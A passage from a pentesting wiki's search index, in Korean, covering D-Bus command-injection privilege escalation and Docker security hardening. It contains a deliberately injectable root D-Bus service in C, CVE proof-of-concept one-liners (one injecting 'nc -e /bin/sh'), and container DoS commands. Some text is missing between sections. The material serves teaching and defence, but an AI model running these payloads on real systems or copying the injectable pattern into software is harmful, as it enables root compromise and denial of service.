참조합니다.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » Exploit it","id":"1529","title":"Exploit it"},"153":{"body":"Bettercap은 모든 종류의 서비스를 탐색하기 위해 SSDP 패킷을 브로드캐스트한다 (UDP Port 1900).","breadcrumbs":"Pentesting Network » SSDP (Simple Service Discovery Protocol)","id":"153","title":"SSDP (Simple Service Discovery Protocol)"},"1530":{"body":"d-bus_server.c //sudo apt install pkgconf\\n//sudo apt install libsystemd-dev\\n//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd` #include \\n#include \\n#include \\n#include \\n#include \\n#include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {\\nchar* host = NULL;\\nint r; /* Read the parameters */\\nr = sd_bus_message_read(m, \\"s\\", &host);\\nif (r < 0) {\\nfprintf(stderr, \\"Failed to obtain hostname: %s\\\\n\\", strerror(-r));\\nreturn r;\\n} char command[] = \\"iptables -A PREROUTING -s %s -t mangle -j DROP\\"; int command_len = strlen(command);\\nint host_len = strlen(host); char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));\\nif(command_buffer == NULL) {\\nfprintf(stderr, \\"Failed to allocate memory\\\\n\\");\\nreturn -1;\\n} sprintf(command_buffer, command, host); /* In the first implementation, we simply ran command using system(), since the expected DBus\\n* to be threading automatically. However, DBus does not thread and the application will hang\\n* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real\\n* multithreading)\\n*/\\nint pid = fork(); if ( pid == 0 ) {\\n/* Here we are in the child process. We execute the command and eventually exit. */\\nsystem(command_buffer);\\nexit(0);\\n} else {\\n/* Here we are in the parent process or an error occured. We simply send a genric message.\\n* In the first implementation we returned separate error messages for success or failure.\\n* However, now we cannot wait for results of the system call. Therefore we simply return\\n* a generic. */\\nreturn sd_bus_reply_method_return(m, \\"s\\", \\"Carried out :D\\");\\n}\\nr = system(command_buffer);\\n} /* The vtable of our little object, implements the net.poettering.Calculator interface */\\nstatic const sd_bus_vtable block_vtable[] = {\\nSD_BUS_VTABLE_START(0),\\nSD_BUS_METHOD(\\"Block\\", \\"s\\", \\"s\\", method_block, SD_BUS_VTABLE_UNPRIVILEGED),\\nSD_BUS_VTABLE_END\\n}; int main(int argc, char *argv[]) {\\n/*\\n* Main method, registeres the htb.oouch.Block service on the system dbus.\\n*\\n* Paramaters:\\n* argc (int) Number of arguments, not required\\n* argv[] (char**) Argument array, not required\\n*\\n* Returns:\\n* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive\\n* as long as the user keeps it alive.\\n*/ /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */\\nsignal(SIGCHLD,SIG_IGN); sd_bus_slot *slot = NULL;\\nsd_bus *bus = NULL;\\nint r; /* First we need to connect to the system bus. */\\nr = sd_bus_open_system(&bus);\\nif (r < 0)\\n{\\nfprintf(stderr, \\"Failed to connect to system bus: %s\\\\n\\", strerror(-r));\\ngoto finish;\\n} /* Install the object */\\nr = sd_bus_add_object_vtable(bus,\\n&slot,\\n\\"/htb/oouch/Block\\", /* interface */\\n\\"htb.oouch.Block\\", /* service object */\\nblock_vtable,\\nNULL);\\nif (r < 0) {\\nfprintf(stderr, \\"Failed to install htb.oouch.Block: %s\\\\n\\", strerror(-r));\\ngoto finish;\\n} /* Register the service name to find out object */\\nr = sd_bus_request_name(bus, \\"htb.oouch.Block\\", 0);\\nif (r < 0) {\\nfprintf(stderr, \\"Failed to acquire service name: %s\\\\n\\", strerror(-r));\\ngoto finish;\\n} /* Infinite loop to process the client requests */\\nfor (;;) {\\n/* Process requests */\\nr = sd_bus_process(bus, NULL);\\nif (r < 0) {\\nfprintf(stderr, \\"Failed to process bus: %s\\\\n\\", strerror(-r));\\ngoto finish;\\n}\\nif (r > 0) /* we processed a request, try to process another one, right-away */\\ncontinue; /* Wait for the next request to process */\\nr = sd_bus_wait(bus, (uint64_t) -1);\\nif (r < 0) {\\nfprintf(stderr, \\"Failed to wait on bus: %s\\\\n\\", strerror(-r));\\ngoto finish;\\n}\\n} finish:\\nsd_bus_slot_unref(slot);\\nsd_bus_unref(bus); return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;\\n}","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » C code","id":"1530","title":"C code"},"1531":{"body":"busctl/gdbus를 사용하여 대규모 D-Bus 공격 표면을 수동으로 열거하는 것은 빠르게 고통스러워집니다. 최근 몇 년 동안 출시된 두 개의 작은 FOSS 유틸리티는 레드팀 또는 CTF 참여 중에 작업을 빠르게 할 수 있습니다:","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » 자동화된 열거 도구 (2023-2025)","id":"1531","title":"자동화된 열거 도구 (2023-2025)"},"1532":{"body":"저자: @taviso – https://github.com/taviso/dbusmap C로 작성됨; 모든 객체 경로를 탐색하고 Introspect XML을 가져와 소유 PID/UID에 매핑하는 단일 정적 바이너리 (<50 kB). 유용한 플래그: bash # *system* 버스의 모든 서비스를 나열하고 호출 가능한 모든 메서드를 덤프합니다\\nsudo dbus-map --dump-methods # Polkit 프롬프트 없이 접근할 수 있는 메서드/속성을 적극적으로 탐색합니다\\nsudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties 이 도구는 보호되지 않은 잘 알려진 이름을 !로 표시하여, 사용자가 소유 할 수 있는 서비스(인수) 또는 비특권 셸에서 접근할 수 있는 메서드 호출을 즉시 드러냅니다.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » dbusmap (\\"D-Bus용 Nmap\\")","id":"1532","title":"dbusmap (\\"D-Bus용 Nmap\\")"},"1533":{"body":"저자: @initstring – https://github.com/initstring/uptux 시스템d 유닛 및 지나치게 관대한 D-Bus 정책 파일(예: send_destination=\\"*\\"에서 쓰기 가능한 경로를 찾는 파이썬 전용 스크립트. 빠른 사용법: bash python3 uptux.py -n # 모든 검사를 실행하지만 로그 파일을 작성하지 않음\\npython3 uptux.py -d # 자세한 디버그 출력을 활성화 D-Bus 모듈은 아래 디렉토리를 검색하고 일반 사용자가 스푸핑하거나 탈취할 수 있는 서비스를 강조 표시합니다: /etc/dbus-1/system.d/ 및 /usr/share/dbus-1/system.d/ /etc/dbus-1/system-local.d/ (벤더 오버라이드)","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » uptux.py","id":"1533","title":"uptux.py"},"1534":{"body":"최근에 발표된 CVE를 주의 깊게 살펴보면 사용자 정의 코드에서 유사한 불안전한 패턴을 발견하는 데 도움이 됩니다. 다음의 높은 영향력을 가진 로컬 EoP 문제는 모두 시스템 버스 에서 인증/권한 부여가 누락된 데서 발생합니다: 연도 CVE 구성 요소 근본 원인 원라이너 PoC 2024 CVE-2024-45752 logiops ≤ 0.3.4 (Logitech HID 데몬) logid 시스템 서비스가 모든 사용자가 장치 프로필을 변경하고 매크로 문자열을 통해 임의의 셸 명령을 주입할 수 있는 제한 없는 org.freedesktop.Logiopsd 인터페이스를 노출합니다. gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig \\"/tmp/pwn.yml\\" 2025 CVE-2025-23222 Deepin dde-api-proxy ≤ 1.0.18 루트로 실행되는 프록시가 호출자 UID/Polkit 컨텍스트를 전달하지 않고 레거시 버스 이름을 백엔드 서비스로 전달하므로 모든 전달된 요청이 UID 0으로 처리됩니다. gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1 2025 CVE-2025-3931 Red Hat Insights yggdrasil ≤ 0.4.6 공개 Dispatch 메서드에 ACL이 부족하여 → 공격자가 패키지 관리자 작업자에게 임의의 RPM을 설치하도록 지시할 수 있습니다. dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:\'{\\"worker\\":\\"pkg\\",\\"action\\":\\"install\\",\\"pkg\\":\\"nc -e /bin/sh\\"}\' 주목할 패턴: 서비스가 시스템 버스에서 루트로 실행됩니다 . PolicyKit 검사가 없음(또는 프록시로 우회됨). 메서드가 궁극적으로 system()/패키지 설치/장치 재구성으로 이어져 → 코드 실행. dbusmap --enable-probes 또는 수동 busctl call을 사용하여 패치가 적절한 polkit_authority_check_authorization() 로직을 백포트하는지 확인합니다.","breadcrumbs":"Linux Privilege Escalation » D-Bus Enumeration & Command Injection Privilege Escalation » 주목할 만한 D-Bus 권한 상승 버그 (2024-2025)","id":"1534","title":"주목할 만한 D-Bus 권한 상승 버그 (2024-2025)"},"1535":{"body":"세계 쓰기 가능 또는 전송/수신 열려 있는 정책을 검색합니다: bash grep -R --color -nE \': snyk bash snyk container test --json-file-output= --severity-threshold=high clair-scanner bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5","breadcrumbs":"Linux Privilege Escalation » Docker Security » 이미지 스캔","id":"1541","title":"이미지 스캔"},"1542":{"body":"Docker 이미지 서명은 컨테이너에서 사용되는 이미지의 보안성과 무결성을 보장합니다. 간략한 설명은 다음과 같습니다: Docker Content Trust 는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 한 Notary 프로젝트를 활용합니다. 자세한 내용은 Notary 및 TUF 를 참조하세요. Docker 콘텐츠 신뢰를 활성화하려면 export DOCKER_CONTENT_TRUST=1을 설정합니다. 이 기능은 Docker 버전 1.10 이상에서 기본적으로 꺼져 있습니다. 이 기능이 활성화되면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태깅 키에 대한 비밀번호를 설정해야 하며, Docker는 보안을 강화하기 위해 Yubikey도 지원합니다. 더 많은 세부정보는 여기 에서 확인할 수 있습니다. 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 하면 \\"No trust data for latest\\" 오류가 발생합니다. 첫 번째 이후의 이미지 푸시를 위해 Docker는 이미지를 서명하기 위해 리포지토리 키의 비밀번호를 요청합니다. 개인 키를 백업하려면 다음 명령을 사용하세요: bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private Docker 호스트를 전환할 때, 운영을 유지하기 위해 루트 및 리포지토리 키를 이동하는 것이 필요합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker 이미지 서명","id":"1542","title":"Docker 이미지 서명"},"1543":{"body":"컨테이너 보안 기능 요약 주요 프로세스 격리 기능 컨테이너화된 환경에서 프로젝트와 그 프로세스를 격리하는 것은 보안 및 자원 관리에 있어 매우 중요합니다. 다음은 주요 개념에 대한 간단한 설명입니다: 네임스페이스 목적 : 프로세스, 네트워크 및 파일 시스템과 같은 자원의 격리를 보장합니다. 특히 Docker에서는 네임스페이스가 컨테이너의 프로세스를 호스트 및 다른 컨테이너와 분리합니다. unshare의 사용 : unshare 명령(또는 기본 syscall)은 새로운 네임스페이스를 생성하는 데 사용되어 추가적인 격리 계층을 제공합니다. 그러나 Kubernetes는 본질적으로 이를 차단하지 않지만, Docker는 차단합니다. 제한 사항 : 새로운 네임스페이스를 생성하는 것은 프로세스가 호스트의 기본 네임스페이스로 되돌아가는 것을 허용하지 않습니다. 호스트 네임스페이스에 침투하려면 일반적으로 호스트의 /proc 디렉토리에 접근해야 하며, nsenter를 사용하여 진입합니다. 제어 그룹 (CGroups) 기능 : 주로 프로세스 간 자원을 할당하는 데 사용됩니다. 보안 측면 : CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 release_agent 기능이 무단 접근에 악용될 수 있습니다. 능력 드롭 중요성 : 프로세스 격리를 위한 중요한 보안 기능입니다. 기능 : 특정 능력을 드롭하여 루트 프로세스가 수행할 수 있는 작업을 제한합니다. 프로세스가 루트 권한으로 실행되더라도 필요한 능력이 부족하면 특권 작업을 실행할 수 없으며, 이는 권한 부족으로 인해 syscall이 실패합니다. 이것은 프로세스가 다른 능력을 드롭한 후의 남은 능력 입니다: Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep Seccomp Docker에서는 기본적으로 활성화되어 있습니다. 이는 프로세스가 호출할 수 있는 syscalls를 더욱 제한하는 데 도움을 줍니다 . 기본 Docker Seccomp 프로파일 은 https://github.com/moby/moby/blob/master/profiles/seccomp/default.json 에서 찾을 수 있습니다. AppArmor Docker에는 활성화할 수 있는 템플릿이 있습니다: https://github.com/moby/moby/tree/master/profiles/apparmor 이것은 기능, syscalls, 파일 및 폴더에 대한 접근을 줄이는 데 도움이 됩니다...","breadcrumbs":"Linux Privilege Escalation » Docker Security » 컨테이너 보안 기능","id":"1543","title":"컨테이너 보안 기능"},"1544":{"body":"Namespaces 는 커널 리소스를 분할 하여 한 집합의 프로세스 가 한 집합의 리소스 를 보고 , 다른 집합의 프로세스 가 다른 집합의 리소스를 보도록 하는 Linux 커널의 기능입니다. 이 기능은 리소스와 프로세스의 집합에 대해 동일한 네임스페이스를 갖지만, 해당 네임스페이스는 서로 다른 리소스를 참조합니다. 리소스는 여러 공간에 존재할 수 있습니다. Docker는 컨테이너 격리를 달성하기 위해 다음 Linux 커널 네임스페이스를 사용합니다: pid namespace mount namespace network namespace ipc namespace UTS namespace 네임스페이스에 대한 더 많은 정보 는 다음 페이지를 확인하세요: Namespaces","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces","id":"1544","title":"Namespaces"},"1545":{"body":"Linux 커널 기능 cgroups 는 cpu, memory, io, network bandwidth와 같은 리소스를 프로세스 집합에 대해 제한할 수 있는 기능 을 제공합니다. Docker는 특정 컨테이너에 대한 리소스 제어를 허용하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다. 다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, cpu share가 512, blkioweight가 400인 컨테이너입니다. CPU share는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. 세 개의 컨테이너가 동일한 CPU share 1024를 가지면, 각 컨테이너는 CPU 리소스 경합 시 최대 33%의 CPU를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다. docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash 컨테이너의 cgroup을 얻으려면 다음을 수행할 수 있습니다: bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container\\nps -ef | grep 1234 #Get info about the sleep process\\nls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) 더 많은 정보는 다음을 확인하세요: CGroups","breadcrumbs":"Linux Privilege Escalation » Docker Security » cgroups","id":"1545","title":"cgroups"},"1546":{"body":"권한은 루트 사용자에게 허용될 수 있는 권한에 대한 더 세밀한 제어를 허용 합니다. Docker는 Linux 커널 권한 기능을 사용하여 사용자 유형에 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한 합니다. Docker 컨테이너가 실행될 때, 프로세스는 격리에서 탈출하는 데 사용할 수 있는 민감한 권한을 포기합니다 . 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장하려는 시도입니다: Linux Capabilities","breadcrumbs":"Linux Privilege Escalation » Docker Security » 권한","id":"1546","title":"권한"},"1547":{"body":"이것은 Docker가 컨테이너 내에서 사용할 수 있는 시스템 호출을 제한 할 수 있도록 하는 보안 기능입니다: Seccomp","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker의 Seccomp","id":"1547","title":"Docker의 Seccomp"},"1548":{"body":"AppArmor 는 컨테이너 를 제한된 자원 집합으로 제한하기 위한 프로그램별 프로필 을 제공하는 커널 향상 기능입니다.: AppArmor","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker의 AppArmor","id":"1548","title":"Docker의 AppArmor"},"1549":{"body":"레이블링 시스템 : SELinux는 모든 프로세스와 파일 시스템 객체에 고유한 레이블을 할당합니다. 정책 집행 : 프로세스 레이블이 시스템 내 다른 레이블에서 수행할 수 있는 작업을 정의하는 보안 정책을 집행합니다. 컨테이너 프로세스 레이블 : 컨테이너 엔진이 컨테이너 프로세스를 시작할 때, 일반적으로 제한된 SELinux 레이블인 container_t가 할당됩니다. 컨테이너 내 파일 레이블링 : 컨테이너 내의 파일은 일반적으로 container_file_t로 레이블이 지정됩니다. 정책 규칙 : SELinux 정책은 주로 container_t 레이블이 있는 프로세스가 container_file_t로 레이블이 지정된 파일과만 상호작용(읽기, 쓰기, 실행)할 수 있도록 보장합니다. 이 메커니즘은 컨테이너 내의 프로세스가 손상되더라도 해당 프로세스가 해당 레이블이 있는 객체와만 상호작용하도록 제한하여 그러한 손상으로 인한 잠재적 피해를 크게 제한합니다. SELinux","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker의 SELinux","id":"1549","title":"Docker의 SELinux"},"155":{"body":"Telecom Network Exploitation","breadcrumbs":"Pentesting Network » 통신 / 모바일 코어 (GTP) 익스플로잇","id":"155","title":"통신 / 모바일 코어 (GTP) 익스플로잇"},"1550":{"body":"Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허용하거나 차단할지를 결정하는 데 중요한 역할을 합니다. 이 결정은 두 가지 주요 컨텍스트를 검토하여 이루어집니다: 인증 컨텍스트 : 여기에는 사용자에 대한 포괄적인 정보가 포함되며, 사용자가 누구인지와 어떻게 인증했는지가 포함됩니다. 명령 컨텍스트 : 이는 요청과 관련된 모든 관련 데이터를 포함합니다. 이러한 컨텍스트는 인증된 사용자로부터의 합법적인 요청만 처리되도록 보장하여 Docker 작업의 보안을 강화합니다. AuthZ& AuthN - Docker Access Authorization Plugin","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ 및 AuthN","id":"1550","title":"AuthZ 및 AuthN"},"1551":{"body":"컨테이너가 사용할 수 있는 자원을 적절히 제한하지 않으면, 손상된 컨테이너가 실행 중인 호스트에 DoS를 일으킬 수 있습니다. CPU DoS bash # stress-ng\\nsudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m # While loop\\ndocker run -d --name malicious-container -c 512 busybox sh -c \'while true; do :; done\' 대역폭 DoS bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done","breadcrumbs":"Linux Privilege Escalation » Docker Security » 컨테이너에서의 DoS","id":"1551","title":"컨테이너에서의 DoS"},"1552":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » 흥미로운 Docker 플래그","id":"1552","title":"흥미로운 Docker 플래그"},"1553":{"body":"다음 페이지에서 --privileged 플래그가 의미하는 바 를 배울 수 있습니다: Docker --privileged","breadcrumbs":"Linux Privilege Escalation » Docker Security » --privileged 플래그","id":"1553","title":"--privileged 플래그"},"1554":{"body":"no-new-privileges 공격자가 낮은 권한 사용자로 접근할 수 있는 컨테이너를 실행하는 경우, 잘못 구성된 suid 바이너리 가 있다면 공격자가 이를 악용하여 컨테이너 내에서 권한을 상승시킬 수 있습니다. 이는 그가 컨테이너에서 탈출할 수 있게 할 수 있습니다. no-new-privileges 옵션을 활성화하여 컨테이너를 실행하면 이러한 종류의 권한 상승을 방지할 수 있습니다. docker run -it --security-opt=no-new-privileges:true nonewpriv 기타 bash #You can manually add/drop capabilities with\\n--cap-add\\n--cap-drop # You can manually disable seccomp in docker with\\n--security-opt seccomp=unconfined # You can manually disable seccomp in docker with\\n--security-opt apparmor=unconfined # You can manually disable selinux in docker with\\n--security-opt label:disable 더 많은 --security-opt 옵션은 다음을 확인하세요: https://docs.docker.com/engine/reference/run/#security-configuration","breadcrumbs":"Linux Privilege Escalation » Docker Security » --security-opt","id":"1554","title":"--security-opt"},"1555":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » 기타 보안 고려사항","id":"1555","title":"기타 보안 고려사항"},"1556":{"body":"비밀을 Docker 이미지에 직접 포함시키거나 환경 변수를 사용하는 것은 피하는 것이 중요합니다. 이러한 방법은 docker inspect 또는 exec와 같은 명령을 통해 컨테이너에 접근할 수 있는 모든 사람에게 민감한 정보를 노출합니다. Docker 볼륨 은 민감한 정보에 접근하기 위한 더 안전한 대안으로 권장됩니다. 이는 메모리 내에서 임시 파일 시스템으로 활용될 수 있어 docker inspect 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자와 컨테이너에 대한 exec 접근 권한이 있는 사용자는 여전히 비밀에 접근할 수 있습니다. Docker 비밀 은 민감한 정보를 처리하기 위한 더욱 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 인스턴스의 경우, BuildKit 은 빌드 시간 비밀을 지원하여 빌드 속도를 향상시키고 추가 기능을 제공합니다. BuildKit을 활용하려면 세 가지 방법으로 활성화할 수 있습니다: 환경 변수를 통해: export DOCKER_BUILDKIT=1 명령어에 접두사를 붙여서: DOCKER_BUILDKIT=1 docker build . Docker 구성에서 기본적으로 활성화하여: { \\"features\\": { \\"buildkit\\": true } }, 이후 Docker를 재시작합니다. BuildKit은 --secret 옵션을 사용하여 빌드 시간 비밀을 사용할 수 있게 하여, 이러한 비밀이 이미지 빌드 캐시나 최종 이미지에 포함되지 않도록 합니다. bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . 실행 중인 컨테이너에서 필요한 비밀에 대해, Docker Compose와 Kubernetes 는 강력한 솔루션을 제공합니다. Docker Compose는 비밀 파일을 지정하기 위해 서비스 정의에서 secrets 키를 사용합니다. 다음은 docker-compose.yml 예제입니다: yaml version: \\"3.7\\"\\nservices:\\nmy_service:\\nimage: centos:7\\nentrypoint: \\"cat /run/secrets/my_secret\\"\\nsecrets:\\n- my_secret\\nsecrets:\\nmy_secret:\\nfile: ./my_secret_file.txt 이 구성은 Docker Compose로 서비스를 시작할 때 비밀을 사용할 수 있도록 허용합니다. Kubernetes 환경에서는 비밀이 기본적으로 지원되며 Helm-Secrets 와 같은 도구로 추가 관리할 수 있습니다. Kubernetes의 역할 기반 접근 제어(RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » 비밀 관리: 모범 사례","id":"1556","title":"비밀 관리: 모범 사례"},"1557":{"body":"gVisor 는 Go로 작성된 애플리케이션 커널로, Linux 시스템 표면의 상당 부분을 구현합니다. 여기에는 애플리케이션과 호스트 커널 간의 격리 경계를 제공하는 runsc라는 Open Container Initiative (OCI) 런타임이 포함되어 있습니다. runsc 런타임은 Docker 및 Kubernetes와 통합되어 샌드박스화된 컨테이너를 쉽게 실행할 수 있게 합니다. GitHub - google/gvisor: Application Kernel for Containers","breadcrumbs":"Linux Privilege Escalation » Docker Security » gVisor","id":"1557","title":"gVisor"},"1558":{"body":"Kata Containers 는 경량 가상 머신을 사용하여 안전한 컨테이너 런타임을 구축하기 위해 노력하는 오픈 소스 커뮤니티입니다. 이들은 컨테이너처럼 느껴지고 작동하지만 하드웨어 가상화 기술을 사용하여 더 강력한 작업 부하 격리를 제공합니다. Kata Containers - Open Source Container Runtime Software | Kata Containers","breadcrumbs":"Linux Privilege Escalation » Docker Security » Kata Containers","id":"1558","title":"Kata Containers"},"1559":{"body":"--privileged 플래그를 사용하지 않거나 컨테이너 내부에 Docker 소켓을 마운트하지 마십시오 . Docker 소켓은 컨테이너를 생성할 수 있게 하므로, 예를 들어 --privileged 플래그로 다른 컨테이너를 실행하여 호스트를 완전히 제어할 수 있는 쉬운 방법입니다. 컨테이너 내부에서 root로 실행하지 마십시오. 다른 사용자 를 사용하고 사용자 네임스페이스 를 사용하십시오. 컨테이너의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트의 root와 동일합니다. 이는 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다. 모든 기능을 제거하십시오 (--cap-drop=all) 및 필요한 기능만 활성화하십시오 (--cap-add=...). 많은 작업 부하에는 기능이 필요하지 않으며, 이를 추가하면 잠재적인 공격 범위가 증가합니다. “no-new-privileges” 보안 옵션을 사용하십시오 프로세스가 더 많은 권한을 얻지 못하도록 방지하십시오. 예를 들어 suid 바이너리를 통해서입니다. 컨테이너에 사용할 수 있는 리소스를 제한하십시오 . 리소스 제한은 서비스 거부 공격으로부터 머신을 보호할 수 있습니다. seccomp 조정하십시오 , AppArmor (또는 SELinux) 프로필을 조정하여 컨테이너에 필요한 최소한의 작업 및 시스템 호출만 허용하십시오. 공식 Docker 이미지를 사용하고 서명을 요구하십시오 또는 이를 기반으로 직접 빌드하십시오. 백도어가 있는 이미지를 상속하거나 사용하지 마십시오. 또한 루트 키와 비밀번호를 안전한 장소에 보관하십시오. Docker는 UCP로 키를 관리할 계획이 있습니다. 정기적으로 이미지를 재빌드하여 호스트와 이미지에 보안 패치를 적용하십시오. 비밀을 현명하게 관리하여 공격자가 접근하기 어렵게 하십시오. Docker 데몬을 노출하는 경우 HTTPS를 사용하십시오 클라이언트 및 서버 인증과 함께. Dockerfile에서 ADD 대신 COPY를 선호하십시오. ADD는 자동으로 압축된 파일을 추출하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 한 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 하십시오. 각 마이크로 서비스에 대해 별도의 컨테이너를 가지십시오. 컨테이너 내부에 ssh를 두지 마십시오. “docker exec”를 사용하여 컨테이너에 ssh할 수 있습니다. 더 작은 컨테이너 이미지를 가지십시오.","breadcrumbs":"Linux Privilege Escalation » Docker Security » 요약 팁","id":"1559","title":"요약 팁"},"156":{"body":"https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 Network Security Assessment: Know Your Network (3rd edition) Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » 참고자료","id":"156","title":"참고자료"},"1560":{"body":"Docker 컨테이너 내부에 있거나 docker 그룹의 사용자에 대한 접근 권한이 있는 경우 , 탈출하고 권한을 상승시키려고 시도할 수 있습니다 : Docker Breakout / Privilege Escalation","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker 탈출 / 권한 상승","id":"1560","title":"Docker 탈출 / 권한 상승"},"1561":{"body":"Docker 소켓에 접근할 수 있거나 docker 그룹의 사용자에 대한 접근 권한이 있지만 Docker 인증 플러그인에 의해 행동이 제한되는 경우 , 우회할 수 있는지 확인하십시오 : AuthZ& AuthN - Docker Access Authorization Plugin","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker 인증 플러그인 우회","id":"1561","title":"Docker 인증 플러그인 우회"},"1562":{"body":"도구 docker-bench-security 는 프로덕션에서 Docker 컨테이너를 배포할 때의 일반적인 모범 사례를 확인하는 스크립트입니다. 테스트는 모두 자동화되어 있으며, CIS Docker Benchmark v1.3.1 을 기반으로 합니다. Docker를 실행하는 호스트 또는 충분한 권한이 있는 컨테이너에서 도구를 실행해야 합니다. README에서 실행 방법을 확인하십시오: https://github.com/docker/docker-bench-security .","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker 강화","id":"1562","title":"Docker 강화"},"1563":{"body":"https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ https://twitter.com/_fel1x/status/1151487051986087936 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/ https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/ https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/ https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/ https://en.wikipedia.org/wiki/Linux_namespaces https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57 https://www.redhat.com/sysadmin/privileged-flag-container-engines https://docs.docker.com/engine/extend/plugins_authorization https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57 https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » 참고 문헌","id":"1563","title":"참고 문헌"},"1564":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) 